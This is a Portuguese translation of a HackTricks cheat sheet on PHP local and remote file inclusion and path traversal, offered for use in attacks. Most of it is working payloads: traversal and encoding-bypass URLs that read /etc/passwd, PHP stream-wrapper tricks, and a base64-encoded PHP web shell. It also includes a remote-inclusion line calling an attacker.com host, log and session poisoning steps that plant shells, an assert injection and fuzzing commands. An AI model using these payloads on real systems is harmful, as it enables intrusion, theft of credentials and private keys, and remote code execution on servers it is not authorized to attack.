.. | ||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md | ||
lfi2rce-via-eternal-waiting.md | ||
lfi2rce-via-nginx-temp-files.md | ||
lfi2rce-via-php-filters.md | ||
lfi2rce-via-phpinfo.md | ||
lfi2rce-via-segmentation-fault.md | ||
lfi2rce-via-temp-file-uploads.md | ||
phar-deserialization.md | ||
README.md | ||
via-php_session_upload_progress.md |
Inclusão de Arquivos/Travessia de Caminho
Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao grupo do 💬 Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios do github HackTricks e HackTricks Cloud.
![](/Mirrors/hacktricks/media/commit/a6298d6a6a726ec48a282d6086bc6b3c3ef918cf/.gitbook/assets/image%20%281%29%20%283%29%20%281%29.png)
Junte-se ao servidor do HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Percepções de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e percepções em tempo real
Últimos Anúncios
Fique informado com os mais novos programas de recompensas por bugs e atualizações importantes da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!
Inclusão de Arquivos
Inclusão Remota de Arquivos (RFI): O arquivo é carregado de um servidor remoto (Melhor: Você pode escrever o código e o servidor o executará). Em php, isso é desativado por padrão (allow_url_include).
Inclusão Local de Arquivos (LFI): O servidor carrega um arquivo local.
A vulnerabilidade ocorre quando o usuário pode controlar de alguma forma o arquivo que vai ser carregado pelo servidor.
Funções PHP vulneráveis: require, require_once, include, include_once
Uma ferramenta interessante para explorar essa vulnerabilidade: https://github.com/kurobeats/fimap
Cego - Interessante - Arquivos LFI2RCE
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Misturando várias listas LFI *nix e adicionando mais caminhos, criei esta:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}
Tente também mudar /
por \
Tente também adicionar ../../../../../
Uma lista que utiliza várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
Windows
Mesclando várias listas, criei:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}
Tente também mudar /
por \
Tente também remover C:/
e adicionar ../../../../../
Uma lista que utiliza várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada aqui
OS X
Verifique a lista LFI de linux.
LFI básico e bypasses
Todos os exemplos são para Inclusão de Arquivo Local, mas também podem ser aplicados a Inclusão de Arquivo Remoto (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
sequências de travessia removidas não-recursivamente
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Byte Nulo (%00)
Burlar o acréscimo de mais caracteres no final da string fornecida (burla de: $_GET['param']."php")
http://example.com/index.php?page=../../../etc/passwd%00
Este problema foi resolvido desde o PHP 5.4
Codificação
Você pode usar codificações não padrão como codificação dupla de URL (e outras):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
De pasta existente
Talvez o back-end esteja verificando o caminho da pasta:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Identificando pastas em um servidor
Dependendo do código aplicativo / caracteres permitidos, pode ser possível explorar recursivamente o sistema de arquivos descobrindo pastas e não apenas arquivos. Para fazer isso:
- identifique a "profundidade" do seu diretório atual ao recuperar com sucesso
/etc/passwd
(se estiver em Linux):
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- tente adivinhar o nome de uma pasta no diretório atual adicionando o nome da pasta (aqui,
private
), e depois voltando para/etc/passwd
:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
- se a aplicação for vulnerável, podem ocorrer dois resultados diferentes para a solicitação:
- se você receber um erro / nenhum resultado, a pasta
private
não existe neste local - se você receber o conteúdo de
/etc/passwd
, você validou que de fato existe uma pastaprivate
no seu diretório atual - as pasta(s) que você descobriu usando esta técnica podem então ser exploradas para arquivos (usando um método clássico de LFI) ou para subdiretórios usando a mesma técnica de forma recursiva.
É possível adaptar esta técnica para encontrar diretórios em qualquer local no sistema de arquivos. Por exemplo, se, sob a mesma hipótese (diretório atual no nível 3 do sistema de arquivos), você quiser verificar se /var/www/
contém um diretório private
, use o seguinte payload:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
A seguinte sequência de comandos permite a geração de payloads usando `sed` (1) como entrada para ferramentas de fuzzing de URL como `ffuf` (2):
$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'
Claro, adapte esses payloads às suas necessidades em termos de profundidade/localização/lista de diretórios de entrada.
Path truncation
Burlar o acréscimo de mais caracteres no final da string fornecida (burla de: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Sempre tente iniciar o caminho com um diretório falso (a/).
Essa vulnerabilidade foi corrigida no PHP 5.3.
Truques para burlar filtros
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Inclusão Remota de Arquivo
Em php isso é desativado por padrão porque allow_url_include
está Off. Ele deve estar On para funcionar, e nesse caso você poderia incluir um arquivo PHP do seu servidor e obter RCE:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Se por algum motivo allow_url_include
estiver On, mas o PHP estiver filtrando o acesso a páginas web externas, de acordo com este post, você poderia usar, por exemplo, o protocolo de dados com base64 para decodificar um código PHP em b64 e obter RCE:
{% code overflow="wrap" %}
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
{% endcode %}
{% hint style="info" %}
No código anterior, o final +.txt
foi adicionado porque o atacante precisava de uma string que terminasse em .txt
, então a string termina com isso e após o b64 decode essa parte retornará apenas lixo e o verdadeiro código PHP será incluído (e, portanto, executado).
{% endhint %}
Outro exemplo não utilizando o protocolo php://
seria:
{% code overflow="wrap" %}
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Elemento Raiz em Python
Em python em um código como este:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Se o usuário passar um caminho absoluto para file_name
, o caminho anterior é simplesmente removido:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
É o comportamento pretendido de acordo com a documentação:
Se um componente for um caminho absoluto, todos os componentes anteriores são descartados e a junção continua a partir do componente do caminho absoluto.
Java Listar Diretórios
Parece que se você tiver um Path Traversal em Java e solicitar um diretório em vez de um arquivo, uma listagem do diretório é retornada. Isso não acontecerá em outras linguagens (até onde eu sei).
Top 25 parâmetros
Aqui está uma lista dos 25 principais parâmetros que podem ser vulneráveis a vulnerabilidades de inclusão de arquivo local (LFI) (de link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI usando wrappers & protocolos PHP
php://filter
Os filtros PHP permitem realizar operações básicas de modificação nos dados antes de serem lidos ou escritos. Existem 5 categorias de filtros:
- Filtros de String:
string.rot13
string.toupper
string.tolower
string.strip_tags
: Remove tags dos dados (tudo entre os caracteres "<" e ">")- Note que este filtro desapareceu das versões modernas do PHP
- Filtros de Conversão
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: Transforma para uma codificação diferente (convert.iconv.<input_enc>.<output_enc>
). Para obter a lista de todas as codificações suportadas, execute no console:iconv -l
{% hint style="warning" %}
Abusando do filtro de conversão convert.iconv.*
você pode gerar texto arbitrário, o que pode ser útil para escrever texto arbitrário ou fazer uma função como include processar texto arbitrário. Para mais informações, verifique LFI2RCE via filtros PHP.
{% endhint %}
- Filtros de Compressão
zlib.deflate
: Comprime o conteúdo (útil se estiver exfiltrando muitas informações)zlib.inflate
: Descomprime os dados- Filtros de Criptografia
mcrypt.*
: Obsoletomdecrypt.*
: Obsoleto- Outros Filtros
- Executando no PHP
var_dump(stream_get_filters());
, você pode encontrar alguns filtros inesperados: consumed
dechunk
: reverte a codificação de fragmentos HTTPconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
{% hint style="warning" %} A parte "php://filter" não é sensível a maiúsculas e minúsculas {% endhint %}
php://fd
Este wrapper permite acessar descritores de arquivo que o processo tem aberto. Potencialmente útil para exfiltrar o conteúdo de arquivos abertos:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Você também pode usar php://stdin, php://stdout e php://stderr para acessar os descritores de arquivo 0, 1 e 2, respectivamente (não tenho certeza de como isso poderia ser útil em um ataque)
zip:// e rar://
Faça upload de um arquivo Zip ou Rar com um PHPShell dentro e acesse-o.
Para poder abusar do protocolo rar, ele precisa ser especificamente ativado.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fato curioso: você pode acionar um XSS e contornar o Auditor do Chrome com: http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
Observe que este protocolo é restrito pelas configurações do php allow_url_open
e allow_url_include
expect://
Expect deve estar ativado. Você pode executar código usando isso.
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Especifique seu payload nos parâmetros POST
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
phar://
Um arquivo .phar
também pode ser usado para executar código PHP se a web estiver usando alguma função como include
para carregar o arquivo.
{% code title="create_phar.php" %}
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
{% endcode %}
E você pode compilar o phar
executando a seguinte linha:
php --define phar.readonly=0 create_path.php
Um arquivo chamado test.phar
será gerado, que você pode usar para abusar do LFI.
Se o LFI está apenas lendo o arquivo e não executando o código php dentro dele, por exemplo, usando funções como file_get_contents(), fopen(), file() ou file_exists(), md5_file(), filemtime() ou filesize(). Você pode tentar abusar de uma deserialização que ocorre ao ler um arquivo usando o protocolo phar.
Para mais informações, leia o seguinte post:
{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}
Mais protocolos
Confira mais protocolos possíveis para incluir aqui:
- php://memory e php://temp — Escrever na memória ou em um arquivo temporário (não tenho certeza de como isso pode ser útil em um ataque de inclusão de arquivo)
- file:// — Acessando sistema de arquivos local
- http:// — Acessando URLs HTTP(s)
- ftp:// — Acessando URLs FTP(s)
- zlib:// — Streams de Compressão
- glob:// — Encontrar caminhos que correspondam a um padrão (Não retorna nada imprimível, então não é realmente útil aqui)
- ssh2:// — Secure Shell 2
- ogg:// — Streams de Áudio (Não útil para ler arquivos arbitrários)
LFI via 'assert' do PHP
Se você encontrar um LFI difícil que parece estar filtrando strings de travessia como ".." e respondendo com algo como "Tentativa de hacking" ou "Boa tentativa!", um payload de injeção 'assert' pode funcionar.
Um payload como este:
' and die(show_source('/etc/passwd')) or '
irá explorar com sucesso o código PHP para um parâmetro "file" que se parece com isto:
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
Também é possível obter RCE em uma instrução "assert" vulnerável usando a função system():
' and die(system("whoami")) or '
Certifique-se de codificar as cargas úteis para URL antes de enviá-las.
![](/Mirrors/hacktricks/media/commit/a6298d6a6a726ec48a282d6086bc6b3c3ef918cf/.gitbook/assets/image%20%281%29%20%283%29%20%281%29.png)
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Interaja com conteúdos que exploram a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado sobre os mais novos programas de recompensa por bugs e atualizações importantes da plataforma
Junte-se a nós no Discord e comece a colaborar com os melhores hackers hoje mesmo!
PHP Blind Path Traversal
{% hint style="warning" %}
Esta técnica é relevante em casos onde você controla o caminho do arquivo de uma função PHP que acessará um arquivo, mas você não verá o conteúdo do arquivo (como uma chamada simples para file()
), mas o conteúdo não é exibido.
{% endhint %}
Neste post incrível, é explicado como um blind path traversal pode ser abusado via filtro PHP para exfiltrar o conteúdo de um arquivo através de um oráculo de erro.
Em resumo, a técnica usa a codificação "UCS-4LE" para tornar o conteúdo de um arquivo tão grande que a função PHP que abre o arquivo acionará um erro.
Então, para vazar o primeiro caractere, o filtro dechunk
é usado junto com outros, como base64 ou rot13, e finalmente os filtros convert.iconv.UCS-4.UCS-4LE e convert.iconv.UTF16.UTF-16BE são usados para colocar outros caracteres no início e vazá-los.
Funções que podem ser vulneráveis: file_get_contents
, readfile
, finfo->file
, getimagesize
, md5_file
, sha1_file
, hash_file
, file
, parse_ini_file
, copy
, file_put_contents (apenas alvo de leitura com isso)
, stream_get_contents
, fgets
, fread
, fgetc
, fgetcsv
, fpassthru
, fputs
Para os detalhes técnicos, confira o post mencionado!
LFI2RCE
Inclusão Remota de Arquivo
Explicado anteriormente, siga este link.
Via arquivo de log do Apache/Nginx
Se o servidor Apache ou Nginx for vulnerável a LFI dentro da função include, você poderia tentar acessar /var/log/apache2/access.log
ou /var/log/nginx/access.log
, definir dentro do user agent ou dentro de um parâmetro GET um shell PHP como <?php system($_GET['c']); ?>
e incluir esse arquivo
{% hint style="warning" %} Note que se você usar aspas duplas para o shell em vez de aspas simples, as aspas duplas serão modificadas para a string "quote;", PHP lançará um erro e nada mais será executado.
Além disso, certifique-se de escrever corretamente a carga útil ou o PHP apresentará erro toda vez que tentar carregar o arquivo de log e você não terá uma segunda oportunidade. {% endhint %}
Isso também poderia ser feito em outros logs, mas tenha cuidado, o código dentro dos logs pode ser codificado para URL e isso poderia destruir o Shell. O cabeçalho autorização "basic" contém "usuário:senha" em Base64 e é decodificado dentro dos logs. O PHPShell poderia ser inserido dentro deste cabeçalho.
Outros possíveis caminhos de logs:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Lista de fuzzing: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Via Email
Envie um email para uma conta interna (user@localhost) contendo seu payload PHP como <?php echo system($_REQUEST["cmd"]); ?>
e tente incluir no email do usuário com um caminho como /var/mail/<USERNAME>
ou /var/spool/mail/<USERNAME>
Via /proc/*/fd/*
- Faça upload de muitos shells (por exemplo: 100)
- Inclua http://example.com/index.php?page=/proc/$PID/fd/$FD, com $PID = PID do processo (pode ser forçado bruscamente) e $FD o descritor de arquivo (também pode ser forçado bruscamente)
Via /proc/self/environ
Como um arquivo de log, envie o payload no User-Agent, ele será refletido dentro do arquivo /proc/self/environ
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
Se você pode fazer upload de um arquivo, basta injetar o payload do shell nele (exemplo: <?php system($_GET['c']); ?>
).
http://example.com/index.php?page=path/to/uploaded/file.png
Para manter o arquivo legível, é melhor injetar nos metadados das imagens/doc/pdf
Via upload de arquivo Zip
Faça o upload de um arquivo ZIP contendo um shell PHP comprimido e acesse:
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
Via sessões PHP
Verifique se o website utiliza Sessão PHP (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
Em PHP, essas sessões são armazenadas em arquivos /var/lib/php5/sess\[PHPSESSID]_
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
Defina o cookie para <?php system('cat /etc/passwd');?>
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
Use o LFI para incluir o arquivo de sessão PHP
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
Via ssh
Se o ssh estiver ativo, verifique qual usuário está sendo usado (/proc/self/status & /etc/passwd) e tente acessar <HOME>/.ssh/id_rsa
Via vsftpd logs
Os logs deste servidor FTP são armazenados em /var/log/vsftpd.log. Se você tem um LFI e pode acessar um servidor vsftpd exposto, você poderia tentar fazer login configurando o payload PHP no nome de usuário e depois acessar os logs usando o LFI.
Via filtro base64 do php (usando base64)
como mostrado neste artigo, o filtro base64 do PHP simplesmente ignora caracteres que não são base64. Você pode usar isso para contornar a verificação de extensão de arquivo: se você fornecer base64 que termina com ".php", ele simplesmente ignorará o "." e acrescentará "php" ao base64. Aqui está um exemplo de payload:
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Via filtros php (nenhum arquivo necessário)
Este writeup explica que você pode usar filtros php para gerar conteúdo arbitrário como saída. O que basicamente significa que você pode gerar código php arbitrário para o include sem precisar escrever em um arquivo.
{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}
Via falha de segmentação
Envie um arquivo que será armazenado como temporário em /tmp
, depois, na mesma requisição, provoque uma falha de segmentação, e então o arquivo temporário não será excluído e você poderá procurá-lo.
{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}
Via armazenamento temporário de arquivos do Nginx
Se você encontrou uma Local File Inclusion e o Nginx está rodando na frente do PHP, você pode ser capaz de obter RCE com a seguinte técnica:
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}
Via PHP_SESSION_UPLOAD_PROGRESS
Se você encontrou uma Local File Inclusion mesmo que você não tenha uma sessão e session.auto_start
esteja Off
. Se você fornecer o PHP_SESSION_UPLOAD_PROGRESS
em dados multipart POST, o PHP ativará a sessão para você. Você poderia abusar disso para conseguir RCE:
{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}
Via uploads de arquivos temporários no Windows
Se você encontrou uma Local File Inclusion e o servidor está rodando no Windows, você pode conseguir RCE:
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}
Via phpinfo() (file_uploads = on)
Se você encontrou uma Local File Inclusion e um arquivo expondo phpinfo() com file_uploads = on, você pode conseguir RCE:
{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}
Via compress.zlib + PHP_STREAM_PREFER_STUDIO
+ Divulgação de Caminho
Se você encontrou uma Local File Inclusion e você pode exfiltrar o caminho do arquivo temporário MAS o servidor está verificando se o arquivo a ser incluído tem marcas PHP, você pode tentar burlar essa verificação com esta Condição de Corrida:
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}
Via espera eterna + força bruta
Se você pode abusar do LFI para enviar arquivos temporários e fazer o servidor suspender a execução do PHP, você poderia então forçar bruta nomes de arquivos durante horas para encontrar o arquivo temporário:
{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}
Para Erro Fatal
Se você incluir qualquer um dos arquivos /usr/bin/phar
, /usr/bin/phar7
, /usr/bin/phar.phar7
, /usr/bin/phar.phar
. (Você precisa incluir o mesmo duas vezes para gerar esse erro).
Não sei como isso pode ser útil, mas pode ser.
Mesmo que você cause um Erro Fatal PHP, arquivos temporários enviados são excluídos.
![](/Mirrors/hacktricks/media/commit/a6298d6a6a726ec48a282d6086bc6b3c3ef918cf/.gitbook/assets/image%20%281%29%20%285%29.png)
Referências
PayloadsAllTheThings
PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
![](/Mirrors/hacktricks/media/commit/a6298d6a6a726ec48a282d6086bc6b3c3ef918cf/.gitbook/assets/image%20%281%29%20%283%29%20%281%29.png)
Junte-se ao servidor HackenProof Discord para se comunicar com hackers experientes e caçadores de recompensas por bugs!
Insights de Hacking
Engaje-se com conteúdo que explora a emoção e os desafios do hacking
Notícias de Hacking em Tempo Real
Mantenha-se atualizado com o mundo acelerado do hacking através de notícias e insights em tempo real
Últimos Anúncios
Fique informado com os mais novos lançamentos de recompensas por bugs e atualizações cruciais da plataforma
Junte-se a nós no Discord e comece a colaborar com os principais hackers hoje!
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quer ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o material oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Junte-se ao 💬 grupo Discord ou ao grupo do telegram ou siga-me no Twitter 🐦 @carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud no github.